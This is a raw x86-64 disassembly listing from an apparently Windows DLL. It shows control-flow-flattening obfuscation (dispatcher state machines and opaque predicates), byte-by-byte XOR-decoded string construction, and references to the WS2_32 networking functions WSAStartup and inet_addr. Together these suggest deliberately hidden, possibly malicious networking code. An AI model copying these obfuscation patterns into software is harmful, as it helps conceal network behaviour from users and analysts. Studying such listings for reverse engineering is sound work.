jmp 0x180035b80
mov dword [rbp + 0x10c], 0x79
mov dword [rbp + 0xc8], ebx
mov eax, dword [rbp + 0x10c]
mov edx, dword [rbp + 0xc8]
mov ebx, eax
and ebx, 0x8b51a0a
or ebx, 0x5100a5e4
and eax, 0xf74ae5f5
xor eax, ebx
mov ebx, eax
xor ebx, 0xee
mov edi, edx
and edi, 0x8b51a0a
or edi, 0x204a0511
and edx, 0xf74ae5f5
xor edx, edi
mov edi, edx
xor edi, 0x1b
xor eax, 0x11
and eax, edi
xor edx, 0xe4
and edx, ebx
or edx, eax
mov byte [rcx + 7], dl
add rcx, 8
mov rax, qword [rbp + 0xd0]
add rax, 0xd
mov qword [rbp + 0xf8], rax
mov edx, 0xcb5fa243
jmp 0x180035340
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
cmp edx, 0x3ff8290f
je 0x180036031
cmp edx, 0xedca38df
jne 0x180035c70
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x180035c70
mov byte [rbp + 0x110], dl
mov dl, byte [rbp + 0x110]
mov byte [rax + 1], dl
lea edx, [rcx + 1]
xor dl, 0x65
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x3ab3246b
je 0x180035cd5
cmp ebx, 0xa6a051f9
jne 0x180035cc0
jmp 0x18003606c
mov ebx, 0xa6a051f9
jmp 0x180035cc0
mov word [rbp + 0x100], cx
movzx ecx, word [rbp + 0x100]
mov edx, dword [rbp + 0x110]
add dx, cx
mov word [rax + 2], dx
mov dword [rbp + 0x110], 0x67
mov edx, 0xb00971f2
nop word cs:[rax + rax]
cmp edx, 0xe22e0eda
je 0x1800360ac
cmp edx, 0xb00971f2
jne 0x180035d10
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180035d42
cmp ecx, 0x66b4b012
jne 0x180035d30
jmp 0x180035d49
mov ecx, 0x66b4b012
jmp 0x180035d30
mov word [rbp + 0x100], 1
movzx ecx, word [rbp + 0x100]
mov edx, 0xe22e0eda
jmp 0x180035d10
mov byte [rbp + 0xf0], al
mov rax, qword [rbp + 0x110]
mov cl, byte [rbp + 0xf0]
mov byte [rax], cl
mov rax, qword [rbp + 0x110]
mov dword [rbp + 0xe8], 0x57
mov edx, 0x27f98b50
nop dword [rax + rax]
cmp edx, 0xd32bdbb5
je 0x180036130
cmp edx, 0x27f98b50
jne 0x180035d90
mov ecx, 0x1e39649a
nop dword [rax]
cmp ecx, 0x1e39649a
je 0x180035dc2
cmp ecx, 0xea6b28af
jne 0x180035db0
jmp 0x180035dc9
mov ecx, 0xea6b28af
jmp 0x180035db0
mov dword [rbp + 0xf8], 0xc
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov edx, 0xd32bdbb5
jmp 0x180035d90
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 4], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x180035e50
cmp eax, 0x35970d82
je 0x180036578
cmp eax, 0x51578b1e
je 0x180035e63
cmp eax, 0x5c7aabd7
jne 0x180035e20
mov eax, 0x2963d5c2
jmp 0x180035e20
cmp eax, 0x801a95b8
je 0x180035e87
cmp eax, 0x2963d5c2
jne 0x180035e20
mov eax, r10d
jmp 0x180035e20
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180035e80
cmp eax, 0x8cebb28b
jne 0x180035e70
jmp 0x180035ea7
mov eax, 0x8cebb28b
jmp 0x180035e70
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180035ea0
cmp eax, 0x8cebb28b
jne 0x180035e90
jmp 0x180035ebf
mov eax, 0x8cebb28b
jmp 0x180035e90
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180035e20
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 2
xor esi, 0x20
mov eax, r11d
jmp 0x180035e20
mov dword [rbp + 0xe8], 0x44
lea ecx, [r9 - 1]
imul ecx, r9d
and ecx, 1
sete bl
cmp r8d, 0xa
setge dl
setl r8b
xor bl, dl
mov eax, ebx
xor al, 1
and dl, cl
or al, dl
xor al, bl
mov eax, 0xc3afc9d1
mov ebx, 0xf497d488
cmovne eax, ebx
xor r8b, cl
mov ecx, r8d
xor cl, 1
or cl, dl
xor cl, r8b
mov ecx, 0xc3afc9d1
cmovne ecx, r11d
mov ebx, 0xf595137a
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xdd3f276d
je 0x18003665b
cmp ebx, 0xf595137a
jne 0x180035f40
mov edx, 0xed76b2ab
nop dword [rax]
cmp edx, 0xed76b2aa
jle 0x180035f90
cmp edx, 0xed76b2ab
je 0x180035fa7
cmp edx, 0xf497d488
je 0x180035fab
cmp edx, 0x11b423ee
jne 0x180035f60
mov edx, eax
jmp 0x180035f60
cmp edx, 0xa3913908
je 0x180035fb2
cmp edx, 0xc3afc9d1
jne 0x180035f60
mov edx, 0x11b423ee
jmp 0x180035f60
mov edx, ecx
jmp 0x180035f60
mov edx, 0xa3913908
jmp 0x180035f60
mov dword [rbp + 0xf8], reloc.WS2_32.dll_inet_addr
mov edx, dword [rbp + 0xf8]
mov ebx, 0xdd3f276d
jmp 0x180035f40
mov dword [rbp + 0xf8], 0x3f
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, eax
mov dword [rbp + 0xf8], ecx
mov ecx, 0xeb1dc982
nop word cs:[rax + rax]
cmp ecx, 0x9c671e68
je 0x18003677c
cmp ecx, 0xeb1dc982
jne 0x180036010
mov eax, dword [rbp + 0xf8]
mov ecx, 0x9c671e68
jmp 0x180036010
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax], cl
mov dword [rbp + 0x100], 0x65
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x180036065
cmp ecx, 0xd85e0dcf
jne 0x180036050
jmp 0x1800367bc
mov ecx, 0xd85e0dcf
jmp 0x180036050
mov byte [rbp + 0x110], dl
mov dl, byte [rbp + 0x110]
mov byte [rax + 2], dl
lea edx, [rcx + 2]
xor dl, 0x74
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
cmp ebx, 0x3ab3246b
je 0x1800360a5
cmp ebx, 0xa6a051f9
jne 0x180036090
jmp 0x180036807
mov ebx, 0xa6a051f9
jmp 0x180036090
mov word [rbp + 0x100], cx
movzx ecx, word [rbp + 0x100]
mov edx, dword [rbp + 0x110]
add dx, cx
mov word [rax + 4], dx
mov dword [rbp + 0x110], reloc.WS2_32.dll_WSAStartup
mov edx, 0xb00971f2
nop word cs:[rax + rax]
cmp edx, 0xe22e0eda
je 0x18003684c
cmp edx, 0xb00971f2
jne 0x1800360e0
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180036112
cmp ecx, 0x66b4b012
jne 0x180036100
jmp 0x180036119
mov ecx, 0x66b4b012
jmp 0x180036100
mov word [rbp + 0x100], 1
movzx ecx, word [rbp + 0x100]
mov edx, 0xe22e0eda
jmp 0x1800360e0
mov dword [rbp + 0xf8], ecx
mov ecx, dword [rbp + 0xe8]
add ecx, dword [rbp + 0xf8]
mov byte [rax + 1], cl
mov byte [rax + 2], 0
mov rcx, qword [rbp + 0x80]
sub rsp, 0x20
call fcn.18003ecc0
mov r11d, 0x87cbc1a8
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
jmp 0x1800361f0
mov edx, dword [rbp + 0xe8]
mov rdx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x110]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, dword [rbp + 0xf0]
mov edx, 0x181b9de8
nop word [rax + rax]
cmp edx, 0xfe90a09b
jle 0x180036260
cmp edx, 0x333d8297
jle 0x1800362b0
cmp edx, 0x5cca55f4
jg 0x18003632a
cmp edx, 0x333d8298
je 0x1800363ed
cmp edx, 0x33ec62ab
je 0x180036402
cmp edx, 0x42d422e5
jne 0x1800361f0
mov dword [rbp + 0xd8], ebx
mov edx, dword [rbp + 0xd8]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xc4], edx
mov edx, dword [rbp + 0xc4]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r15d
jmp 0x1800361f0
cmp edx, 0xc5fd57a7
jle 0x1800362f0
cmp edx, 0xeb000b68
jg 0x18003635a
cmp edx, 0xc5fd57a8
je 0x180036413
cmp edx, 0xd1e81d16
je 0x180036422
cmp edx, 0xd597d4ff
jne 0x1800361f0
mov edx, 0x42d422e5
mov ebx, dword [rbp + 0xc0]
jmp 0x1800361f0
cmp edx, 0x12a1b9d7
jle 0x18003638c
cmp edx, 0x12a1b9d8
je 0x18003643b
cmp edx, 0x181b9de8
je 0x18003644a
cmp edx, 0x28ad3f39
jne 0x1800361f0
mov edx, 0x73f80f82
jmp 0x1800361f0
cmp edx, 0xb163ad29
jle 0x1800363be
cmp edx, 0xb163ad2a
je 0x18003647a
cmp edx, 0xb9d33223
je 0x1800364a3
cmp edx, 0xbb6ed30e
jne 0x1800361f0
mov edx, 0x12a1b9d8
jmp 0x1800361f0
cmp edx, 0x5cca55f5
je 0x1800364b4
cmp edx, 0x7343bfbc
je 0x1800361a6
cmp edx, 0x73f80f82
jne 0x1800361f0
mov edx, 0x42d422e5
xor ebx, ebx
jmp 0x1800361f0
cmp edx, 0xeb000b69
je 0x1800364cd
cmp edx, 0xfb306983
jne 0x180036544
mov edx, dword [rbp + 0xc4]
cmp edx, 0x7f
setl byte [rbp + 0xe6]
mov edx, 0x333d8298
jmp 0x1800361f0
cmp edx, 0xfe90a09c
je 0x1800364f8
cmp edx, 0x1dd0b01
jne 0x1800361f0
mov edx, dword [rbp + 0x10c]
cmp edx, 0x5b
setl byte [rbp + 0xe7]
mov edx, 0xd1e81d16
jmp 0x1800361f0
cmp edx, 0x87cbc1a8
je 0x18003652a
cmp edx, 0x9302de66
jne 0x1800361f0
mov rcx, qword [rbp + 0x100]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xd0]
jmp 0x1800361f0
cmp byte [rbp + 0xe6], 0
mov edx, 0xbb6ed30e
cmovne edx, r14d
jmp 0x1800361f0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xc8]
jmp 0x1800361f0
mov dword [rbp + 0xe8], r10d
mov edx, r9d
jmp 0x1800361f0
cmp byte [rbp + 0xe7], 0
mov edx, 0xb9d33223
mov edi, 0xfe90a09c
cmovne edx, edi
jmp 0x1800361f0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x1800361f0
movsxd rdx, dword [rbp + 0xe8]
xor rdx, qword [rbp + 0x110]
imul rdx, r13
mov qword [rbp + 0x100], rdx
mov edx, dword [rbp + 0xf0]
add edx, 1
mov dword [rbp + 0xd0], edx
mov edx, r8d
jmp 0x1800361f0
mov dword [rbp + 0xf0], esi
mov qword [rbp + 0x110], rcx
mov edx, dword [rbp + 0xd8]
mov edi, dword [rbp + 0xf0]
cmp edi, edx
mov edx, 0xf6d6bd87
cmovb edx, r11d
jmp 0x1800361f0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x10c]
jmp 0x1800361f0
mov edx, dword [rbp + 0xd8]
add edx, 1
mov dword [rbp + 0xc0], edx
mov edx, 0xd597d4ff
jmp 0x1800361f0
mov rdx, qword [rbp + 0xf8]
movsx edx, byte [rdx]
mov dword [rbp + 0x10c], edx
mov edx, dword [rbp + 0x10c]
cmp edx, 0x41
mov edx, 0xb9d33223
mov edi, 0x1dd0b01
cmovge edx, edi
jmp 0x1800361f0
mov edx, dword [rbp + 0x10c]
mov edi, edx
and edi, 0x72963832
or edi, 0x8d414380
and edx, 0x8d69c7ed
xor edx, edi
xor edx, 0x8d4143a0
mov dword [rbp + 0xc8], edx
mov edx, 0x33ec62ab
jmp 0x1800361f0
mov edx, dword [rbp + 0xf0]
add rdx, rax
mov qword [rbp + 0xf8], rdx
mov edx, 0xeb000b69
jmp 0x1800361f0
cmp edx, 0xf6d6bd87
jne 0x1800361f0
mov rcx, qword [rbp + 0x110]
sub rsp, 0x20
call fcn.1800e9be0
mov r11d, 0x87cbc1a8
add rsp, 0x20
mov qword [rbp - 0x28], rax
mov eax, 0xe57fe0de
jmp 0x18002d840
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 6], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop word cs:[rax + rax]
nop
cmp eax, 0x35970d81
jle 0x1800365d0
cmp eax, 0x35970d82
je 0x1800368d0
cmp eax, 0x51578b1e
je 0x1800365e3
cmp eax, 0x5c7aabd7
jne 0x1800365a0
mov eax, 0x2963d5c2
jmp 0x1800365a0
cmp eax, 0x801a95b8
je 0x180036607
cmp eax, 0x2963d5c2
jne 0x1800365a0
mov eax, r10d
jmp 0x1800365a0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180036600
cmp eax, 0x8cebb28b
jne 0x1800365f0
jmp 0x180036627
mov eax, 0x8cebb28b
jmp 0x1800365f0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180036620
cmp eax, 0x8cebb28b
jne 0x180036610
jmp 0x18003663f
mov eax, 0x8cebb28b
jmp 0x180036610
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x1800365a0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 3
xor esi, 0x63
mov eax, r11d
jmp 0x1800365a0
mov word [rbp + 0xf8], dx
movzx eax, word [rbp + 0xf8]
mov ecx, dword [rbp + 0xe8]
add cx, ax
mov rax, qword [rbp + 0x110]
mov word [rax], cx
mov r8, qword [rbp + 0x110]
mov dword [rbp + 0xe8], 0x42
mov ecx, dword [0x180129a48]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete bl
cmp dword [0x180129a4c], 0xa
setge al
setl r9b
xor bl, al
mov ecx, ebx
xor cl, 1
and al, dl
or cl, al
xor cl, bl
mov esi, 0xc3afc9d1
mov ecx, 0xf497d488
cmovne esi, ecx
xor r9b, dl
mov ecx, r9d
xor cl, 1
or cl, al
xor cl, r9b
mov edx, 0xc3afc9d1
cmovne edx, r11d
mov edi, 0xf595137a
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0xdd3f276d
je 0x1800369ab
cmp edi, 0xf595137a
jne 0x1800366f0
mov ecx, 0xed76b2ab
nop dword [rax]
cmp ecx, 0xed76b2aa
jle 0x180036740
cmp ecx, 0xed76b2ab
je 0x180036757
cmp ecx, 0xf497d488
je 0x18003675b
cmp ecx, 0x11b423ee
jne 0x180036710
mov ecx, esi
jmp 0x180036710
cmp ecx, 0xa3913908
je 0x180036762
cmp ecx, 0xc3afc9d1
jne 0x180036710
mov ecx, 0x11b423ee
jmp 0x180036710
mov ecx, edx
jmp 0x180036710
mov ecx, 0xa3913908
jmp 0x180036710
mov dword [rbp + 0xf8], reloc.WS2_32.dll_inet_addr
mov ecx, dword [rbp + 0xf8]
mov edi, 0xdd3f276d
jmp 0x1800366f0
mov byte [rbp + 0xe8], al
mov al, byte [rbp + 0xe8]
mov rcx, qword [rbp + 0x110]
mov byte [rcx], al
mov rax, qword [rbp + 0x110]
mov ecx, 0x97fb8291
nop dword [rax]
cmp ecx, 0x97fb8291
je 0x1800367b5
cmp ecx, 0xdd5a4a6e
jne 0x1800367a0
jmp 0x180036a21
mov ecx, 0xdd5a4a6e
jmp 0x1800367a0
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop
cmp edx, 0x3ff8290f
je 0x180036a81
cmp edx, 0xedca38df
jne 0x1800367e0
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x1800367e0
mov byte [rbp + 0x110], dl
mov dl, byte [rbp + 0x110]
mov byte [rax + 3], dl
lea edx, [rcx + 3]
xor dl, 0x4d
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x3ab3246b
je 0x180036845
cmp ebx, 0xa6a051f9
jne 0x180036830
jmp 0x180036abc
mov ebx, 0xa6a051f9
jmp 0x180036830
mov word [rbp + 0x100], cx
movzx ecx, word [rbp + 0x100]
mov edx, dword [rbp + 0x110]
add dx, cx
mov word [rax + 6], dx
mov dword [rbp + 0x110], 0x76
mov edx, 0xb00971f2
nop word cs:[rax + rax]
cmp edx, 0xe22e0eda
je 0x180036afc
cmp edx, 0xb00971f2
jne 0x180036880
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x1800368b2
cmp ecx, 0x66b4b012
jne 0x1800368a0
jmp 0x1800368b9
mov ecx, 0x66b4b012
jmp 0x1800368a0
mov word [rbp + 0x100], 1
movzx ecx, word [rbp + 0x100]
mov edx, 0xe22e0eda
jmp 0x180036880
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 8], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x180036920
cmp eax, 0x35970d82
je 0x180036b80
cmp eax, 0x51578b1e
je 0x180036933
cmp eax, 0x5c7aabd7
jne 0x1800368f0
mov eax, 0x2963d5c2
jmp 0x1800368f0
cmp eax, 0x801a95b8
je 0x180036957
cmp eax, 0x2963d5c2
jne 0x1800368f0
mov eax, r10d
jmp 0x1800368f0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180036950
cmp eax, 0x8cebb28b
jne 0x180036940
jmp 0x180036977
mov eax, 0x8cebb28b
jmp 0x180036940
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180036970
cmp eax, 0x8cebb28b
jne 0x180036960
jmp 0x18003698f
mov eax, 0x8cebb28b
jmp 0x180036960
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x1800368f0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 4
xor esi, 0x72
mov eax, r11d
jmp 0x1800368f0
add r13d, 2
mov word [rbp + 0xf8], cx
movzx eax, word [rbp + 0xf8]
mov ecx, dword [rbp + 0xe8]
add cx, ax
mov word [r8 + 2], cx
mov word [r8 + 4], 0
mov rcx, qword [rbp + 0x50]
sub rsp, 0x20
call fcn.18003f900
add rsp, 0x20
mov rcx, qword [rbp + 0xb0]
mov rcx, qword [rcx]
mov rdx, qword [rbp - 0x48]
sub rsp, 0x30
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rdx
mov rdx, rax
xor r8d, r8d
mov r9d, dword [rbp + 0x1c]
call qword [rbp + 0xa0]
add rsp, 0x30
mov rax, qword [rbp - 0x58]
mov eax, 0x9429aaf
jmp 0x18003e937
mov dword [rbp + 0xf8], 0x3f
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x69
mov dword [rbp + 0xf8], ecx
mov edx, 0xeb1dc982
nop dword [rax]
cmp edx, 0x9c671e68
je 0x180036c5b
cmp edx, 0xeb1dc982
jne 0x180036a60
mov ecx, dword [rbp + 0xf8]
mov edx, 0x9c671e68
jmp 0x180036a60
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 1], cl
mov dword [rbp + 0x100], 0x67
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x180036ab5
cmp ecx, 0xd85e0dcf
jne 0x180036aa0
jmp 0x180036c8c
mov ecx, 0xd85e0dcf
jmp 0x180036aa0
mov byte [rbp + 0x110], dl
mov dl, byte [rbp + 0x110]
mov byte [rax + 4], dl
lea edx, [rcx + 4]
xor dl, 0x6f
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
cmp ebx, 0x3ab3246b
je 0x180036af5
cmp ebx, 0xa6a051f9
jne 0x180036ae0
jmp 0x180036cd7
mov ebx, 0xa6a051f9
jmp 0x180036ae0
mov word [rbp + 0x100], cx
movzx ecx, word [rbp + 0x100]
mov edx, dword [rbp + 0x110]
add dx, cx
mov word [rax + 8], dx
mov dword [rbp + 0x110], WSAStartup
mov edx, 0xb00971f2
nop word cs:[rax + rax]
cmp edx, 0xe22e0eda
je 0x180036d1c
cmp edx, 0xb00971f2
jne 0x180036b30
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180036b62
cmp ecx, 0x66b4b012
jne 0x180036b50
jmp 0x180036b69
mov ecx, 0x66b4b012
jmp 0x180036b50
mov word [rbp + 0x100], 1
movzx ecx, word [rbp + 0x100]
mov edx, 0xe22e0eda
jmp 0x180036b30
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0xa], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x180036bd0
cmp eax, 0x35970d82
je 0x180036da0
cmp eax, 0x51578b1e
je 0x180036be3
cmp eax, 0x5c7aabd7
jne 0x180036ba0
mov eax, 0x2963d5c2
jmp 0x180036ba0
cmp eax, 0x801a95b8
je 0x180036c07
cmp eax, 0x2963d5c2
jne 0x180036ba0
mov eax, r10d
jmp 0x180036ba0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180036c00
cmp eax, 0x8cebb28b
jne 0x180036bf0
jmp 0x180036c27
mov eax, 0x8cebb28b
jmp 0x180036bf0
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180036c20
cmp eax, 0x8cebb28b
jne 0x180036c10
jmp 0x180036c3f
mov eax, 0x8cebb28b
jmp 0x180036c10
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180036ba0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 5
xor esi, 0x65
mov eax, r11d
jmp 0x180036ba0
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax + 1], cl
mov ecx, 0x97fb8291
nop
cmp ecx, 0x97fb8291
je 0x180036c85
cmp ecx, 0xdd5a4a6e
jne 0x180036c70
jmp 0x180036e7b
mov ecx, 0xdd5a4a6e
jmp 0x180036c70
mov byte [rbp + 0x110], 7
movsx ecx, byte [rbp + 0x110]
mov dword [rbp + 0x110], ecx
mov edx, 0xedca38df
nop word cs:[rax + rax]
nop
cmp edx, 0x3ff8290f
je 0x180036ee1
cmp edx, 0xedca38df
jne 0x180036cb0
mov ecx, dword [rbp + 0x100]
add ecx, dword [rbp + 0x110]
mov edx, 0x3ff8290f
jmp 0x180036cb0
mov byte [rbp + 0x110], dl
mov dl, byte [rbp + 0x110]
mov byte [rax + 5], dl
lea edx, [rcx + 5]
xor dl, 0x64
mov ebx, 0x3ab3246b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x3ab3246b
je 0x180036d15
cmp ebx, 0xa6a051f9
jne 0x180036d00
jmp 0x180036f1c
mov ebx, 0xa6a051f9
jmp 0x180036d00
mov word [rbp + 0x100], cx
movzx ecx, word [rbp + 0x100]
mov edx, dword [rbp + 0x110]
add dx, cx
mov word [rax + 0xa], dx
mov dword [rbp + 0x110], 0x33
mov edx, 0xb00971f2
nop word cs:[rax + rax]
cmp edx, 0xe22e0eda
je 0x180036f5c
cmp edx, 0xb00971f2
jne 0x180036d50
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180036d82
cmp ecx, 0x66b4b012
jne 0x180036d70
jmp 0x180036d89
mov ecx, 0x66b4b012
jmp 0x180036d70
mov word [rbp + 0x100], 1
movzx ecx, word [rbp + 0x100]
mov edx, 0xe22e0eda
jmp 0x180036d50
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0xc], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x180036df0
cmp eax, 0x35970d82
je 0x180036fe0
cmp eax, 0x51578b1e
je 0x180036e03
cmp eax, 0x5c7aabd7
jne 0x180036dc0
mov eax, 0x2963d5c2
jmp 0x180036dc0
cmp eax, 0x801a95b8
je 0x180036e27
cmp eax, 0x2963d5c2
jne 0x180036dc0
mov eax, r10d
jmp 0x180036dc0
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180036e20
cmp eax, 0x8cebb28b
jne 0x180036e10
jmp 0x180036e47
mov eax, 0x8cebb28b
jmp 0x180036e10
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180036e40
cmp eax, 0x8cebb28b
jne 0x180036e30
jmp 0x180036e5f
mov eax, 0x8cebb28b
jmp 0x180036e30
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180036dc0
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 6
xor esi, 0x61
mov eax, r11d
jmp 0x180036dc0
mov dword [rbp + 0xf8], 0x3f
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x6c
mov dword [rbp + 0xf8], ecx
mov edx, 0xeb1dc982
nop word cs:[rax + rax]
cmp edx, 0x9c671e68
je 0x1800370bb
cmp edx, 0xeb1dc982
jne 0x180036ec0
mov ecx, dword [rbp + 0xf8]
mov edx, 0x9c671e68
jmp 0x180036ec0
mov byte [rbp + 0xf8], cl
mov cl, byte [rbp + 0xf8]
mov byte [rax + 2], cl
mov dword [rbp + 0x100], 0x51
mov ecx, 0x77906a8
nop
cmp ecx, 0x77906a8
je 0x180036f15
cmp ecx, 0xd85e0dcf
jne 0x180036f00
jmp 0x1800370ec
mov ecx, 0xd85e0dcf
jmp 0x180036f00
mov byte [rbp + 0x110], dl
mov dl, byte [rbp + 0x110]
mov byte [rax + 6], dl
add cl, 6
xor cl, 0x75
mov edx, 0x3ab3246b
nop word cs:[rax + rax]
cmp edx, 0x3ab3246b
je 0x180036f55
cmp edx, 0xa6a051f9
jne 0x180036f40
jmp 0x180037137
mov edx, 0xa6a051f9
jmp 0x180036f40
mov word [rbp + 0x100], cx
movzx ecx, word [rbp + 0x100]
mov edx, dword [rbp + 0x110]
add dx, cx
mov word [rax + 0xc], dx
mov dword [rbp + 0x110], 0x32
mov edx, 0xb00971f2
nop word cs:[rax + rax]
cmp edx, 0xe22e0eda
je 0x1800374d8
cmp edx, 0xb00971f2
jne 0x180036f90
mov ecx, 0x98373600
nop dword [rax]
cmp ecx, 0x98373600
je 0x180036fc2
cmp ecx, 0x66b4b012
jne 0x180036fb0
jmp 0x180036fc9
mov ecx, 0x66b4b012
jmp 0x180036fb0
mov word [rbp + 0x100], 1
movzx ecx, word [rbp + 0x100]
mov edx, 0xe22e0eda
jmp 0x180036f90
mov word [rbp + 0x110], si
movzx eax, word [rbp + 0x110]
mov word [r8 + 0xe], ax
movzx ebx, word [r9]
mov eax, 0x5c7aabd7
nop dword [rax]
cmp eax, 0x35970d81
jle 0x180037030
cmp eax, 0x35970d82
je 0x180037560
cmp eax, 0x51578b1e
je 0x180037043
cmp eax, 0x5c7aabd7
jne 0x180037000
mov eax, 0x2963d5c2
jmp 0x180037000
cmp eax, 0x801a95b8
je 0x180037067
cmp eax, 0x2963d5c2
jne 0x180037000
mov eax, r10d
jmp 0x180037000
mov eax, 0x360723d0
nop dword [rax + rax]
cmp eax, 0x360723d0
je 0x180037060
cmp eax, 0x8cebb28b
jne 0x180037050
jmp 0x180037087
mov eax, 0x8cebb28b
jmp 0x180037050
mov eax, 0x360723d0
nop dword [rax]
cmp eax, 0x360723d0
je 0x180037080
cmp eax, 0x8cebb28b
jne 0x180037070
jmp 0x18003709f
mov eax, 0x8cebb28b
jmp 0x180037070
mov qword [rbp + 0x110], rbx
mov rax, qword [rbp + 0x110]
mov eax, 0x801a95b8
jmp 0x180037000
mov qword [rbp + 0x110], rbx
mov rsi, qword [rbp + 0x110]
add esi, 7
xor esi, 0x74
